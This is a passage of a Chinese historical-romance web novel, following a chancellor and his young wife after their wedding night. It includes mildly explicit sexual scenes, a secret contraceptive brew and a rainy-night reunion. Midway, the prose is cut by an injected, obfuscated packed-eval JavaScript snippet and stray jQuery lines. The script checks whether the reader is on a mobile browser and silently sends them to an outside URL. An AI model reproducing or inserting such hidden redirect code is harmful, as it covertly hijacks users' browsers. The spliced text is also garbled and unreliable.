像是有什么在缓缓崩塌,徐寂行闭眼,甚至能听到石块碎裂的声响。
顾卿然从未见过他这般无措的模样。
她心头闪过几分微妙的感觉:这时候的徐寂行,比冷眼教训她的徐寂行,要顺眼许多,这副皮囊也更为好看了。
微凉的风吹到那处,叫她体内涌出几分热意。
顾卿然脖颈红到了耳后,好在徐寂行未有心思来看她的脸,他脉络分明的大掌陷入床榻,屈坐在她身侧,看着面前艳红的布料,帐中寂静一片,他迟迟没有动作。
“你可以自己动手。”
顾卿然忍着耻意,勾了勾他的指尖,坦然道:“我看不到。”
不会看不到,她身子柔若无骨,弯成了水。
徐寂行挣扎了许久,缓缓抬眸,刚好撞上她幸灾乐祸的神情,眼尾挑得媚态横生,偏偏人怂胆小,他一个凌厉的眼神扫过去,她又变成了乖巧温顺的模样。
所以,她方才种种,只是在逗弄他?
她乐于见到他难堪失态的模样,还是说,她根本不在乎他的感受。
徐寂行彻底锢住了她,粗糙宽厚的手掌无意摩挲过那里,叫她颤了身子。
“不是说想要我给你涂药,现在躲什么?”
顾卿然有些胆怯地想要后退,手臂却被举过头顶,随即,她闷哼了一声,泄出娇弱求饶的意味。
良久,他擦了擦湿漉漉的手指。
他让顾卿然睁眼,让她看看。
这样多,他只要稍稍一碰,她就软得一塌糊涂。
回应他的是一张红得滴血的小脸。
她不该逗徐寂行的,她以前还没发现,他若是生气了,会淡漠如无物把人逼到崩溃。
原来他也会坏得叫人咬牙。
“我困了,我要歇息。”
顾卿然干巴巴说了一句,滚进了自己的被窝里,随后将脸蒙上,与世隔绝般再不探头。
过了好久,徐寂行才躺在了她身侧。
耳畔是猫一样细微的呼吸声,后来她彻底熟睡,如从前那般靠了过来。
徐寂行侧过身,与她隔得远些,他的内心远远不似表面那么平静,他也没有她那般心大。
圆过房,从前所说的种种就皆不算数了。
他再也无法心无杂念地训她、教导她,也无法说服自己对她的感情,是干干净净的些许爱护。
……
翌日清晨,府内收到了宫里来的消息。
圣上下旨,册封六皇子为豫王,三日后领兵边关。
北狄王室已经发兵,边关如今只有一位镇北将军坐镇,能撑到几时,是个未知数。
顾卿然起身时,看清了徐寂行沉凝的面色,战事当前,他比往日更威重几分。
但这样肃穆的神情,在对上她的那刻,竟消散了大半。
反倒是她,想起了一件极紧要的事,蹙了眉。
“怎么了?”
徐寂行俯身问她,她却摇摇头,说无事。
他手中要处理的事务繁多,约了人去书房谈事,她不愿说,他也不能强求,末了让她好好待在府里,近日先不要出府。
陆远跟踪过她的事,现下他并不打算告知她。
徐寂行一走,顾卿然就站了起来,叫屋内的其他丫鬟都先出去,只留了宝春一人。
“我想要一碗避子汤。”
她捂住了宝春的嘴,小声道:“你别多想,现下我不想要孩子,宝春,难道你想看我当娘亲吗?”
“我喜欢无拘无束的日子,若是有了孩子,我不知道怎么照顾。”
宝春照办,借着出府采买,带了包药材回来,只是她和顾卿然怎么都想不到,相府的厨房里,能端到主子面前的一丝一毫,都要经过检查。
避子汤被发现了。
此事先被告知给了徐寂行。
“夫人带来的贴身婢女,煮了碗避子汤。”
“那婢女是夫人身边人,属下们只当不知道此事,换了药,未惊动她。”
“知道了,做得很好,下去。”
所以她今晨蹙眉,是因为记起那夜后,她还未喝避子汤,她有些怕了?
他扶额沉思许久,叫了大夫来。
黄大夫先给徐寂行把了脉。
“相爷的脉象与从前平稳许多,可喜可贺。”
自从那次催情蛊后,徐寂行的脉象便要比常人激烈些,体热、精血旺盛,被长久抑制,外人看不出来,只有他知晓,徐寂行这几年来犯过数次头疾,至于长夜独坐书房、难以入眠之事,更是常见。
“相爷,这是相爷上次要的香料,老夫按照相爷所言,加以改进,多加了一味药进去,会更加宁心。”
徐寂行默默收了那香料盒,放进了书案后的密阁里。
“你有心了。”
“若是这香料可以助相爷摆脱失眠困扰,是老夫之幸。只是,不知相爷近日传老夫前来,所为何事?”
徐寂行坦然开口:“留些避子汤。”
黄大夫方才已从脉象中猜出徐寂行与夫人圆了房,徐寂行体内的蛊虫余毒定会叫他在床榻之上的需求大些,若是开了头,便难以结束。
只是好不容易破了戒,便要服避子汤,对那夫人的身子不大好。
他斟酌一番,谨慎地摸了一把胡须,低头道:“夫人体寒,身子娇弱,若是常服避子汤,有损根基。”
徐寂行淡淡反问:“谁告诉你那药是开给她的?”
黄大夫醒过神来,急忙应下:“老夫晚些就将相爷要的东西送来。”
徐寂行没再说话,派刀辞将人送出了府。
天色已晚,他独自用了晚膳,待到外头下起了冷雨,寒风凛冽,吹得窗棂咯吱作响,松林涛声不断。
徐寂行放下手里的筷箸,心口一跳,冷声问:“夫人呢?”
丫鬟知道天色不好,也担忧起来,她立刻答:“夫人两个时辰前被徐老夫人请走,还未回来。”
“夫人她临出府前说,让相爷不要担心,她许久不去拜见长辈,于情于理,说不过去。”
徐寂行起身离桌,走到廊下时,瓢泼大雨已经扑到靴面。
守在廊上的侍卫急忙跪下:
“相爷,外头雨大,若是相爷要什么,奴才去办。”
徐寂行眸子沉了下来,周身气息仿若都隐没进了暗雨之中。
刀辞闻声赶来,见到的就是徐寂行伫立在暗红漆柱下的高大暗沉身影。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571553|171503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“她去了徐府。”
徐寂行接过下人撑来的伞,踏入雨中,清冷的眉眼被雨水打湿,面色平静依旧:“她都去了,我也去一趟。”
雨幕浓密,乌云遮天蔽日,徐府外的街巷中冷清无人。
顾卿然坐在马车里,等着车夫驾马。
直到有人禀告她:“相爷来了。”
骏马嘶鸣,蹄声猎猎。
徐寂行看到她从车帷内探出了一张小脸,灰暗雨幕下,她看清他的时候,冲他笑了笑,杏眸明亮,好像能照亮一方天色。
回到府里后,顾卿然解了斗篷,喝了碗姜汤,便去找徐寂行。
方才他在雨中骑马与她对视,瞧他的模样,是来找她的?可他为何不与她说话,而是独自回来。
“相爷呢,方才他淋了雨,我让下人煮了一碗姜汤给他。”
顾卿然见里头的烛光亮着,人影憧憧,也未有人敢拦她,她推开门,走了进去。
徐寂行正在书房里的暖榻边换衣裳。
听到动静,他扣衣襟的动作迟缓了些,就这么转过身,面有淡色地瞧着她。
“谁放你进来的?”
顾卿然捂住了脸,僵在原地。
只是很快,她厚着脸皮放下了手,睡都睡过了呀,他现在又不是没穿衣服,她为何不能看。
“我给你送姜汤来,不知道你在穿衣裳。”
徐寂行披好外袍,也就意味着她可以走得离他近些。
“我一回来就喝了一碗,这碗是你的,喝了就不会得风寒了。”
“徐寂行,你昨晚不是还说,你有些风寒?”
那是骗她的,他体热异与常人,风寒这样的病,与他无关。
姜汤暖身,于他来说,算是毒药。
“风寒已好,何况,这些事与你何干。”
顾卿然眼睁睁看着徐寂行神情从方才的平缓轻柔变作沉和静冷,他眼眸狭长,似乎天生善于隐藏情绪,轻轻眨了眼,就能化作另一番拒人于千里之外的模样。
她偶尔也纳闷,这人是不是与那些上了年纪的官员在一起待久了,所以也受他们影响,年轻轻轻就养成了无波无澜,疏冷到旁人送了碗姜汤给他、他都要避嫌的性子。
“有关呀。”
她从袖口中取出来自己的绣帕,踮起脚尖擦了擦他鬓角上的水渍。
温热带香的布料贴了上来。
“你不说我也知道,你是关心我才去徐府找我的。”
徐寂行不理她,径直拂袖而去,走到书房门口,转身看她杵在原地的小脸。
“我与徐府同决裂二字无差,你好歹担在我名下,我不愿被人算计,自然要去带你回来。”
“和关心二字,有何关联?”
顾卿然有些无措地盯着脚下的暗红绒毯,他怎么一定要这样说话,不是有意的关心便不是关心么?
她心里嘀咕,这人不愧是出了名的冷情冷性。
诶,男人。
“不喝就不喝,何必找这样多的理由。”
“徐寂行,我知道你在想什么。”
徐寂行眼皮一跳,原本端然如山的身形微微移动,似有若无地盯了她一眼。
“什么?”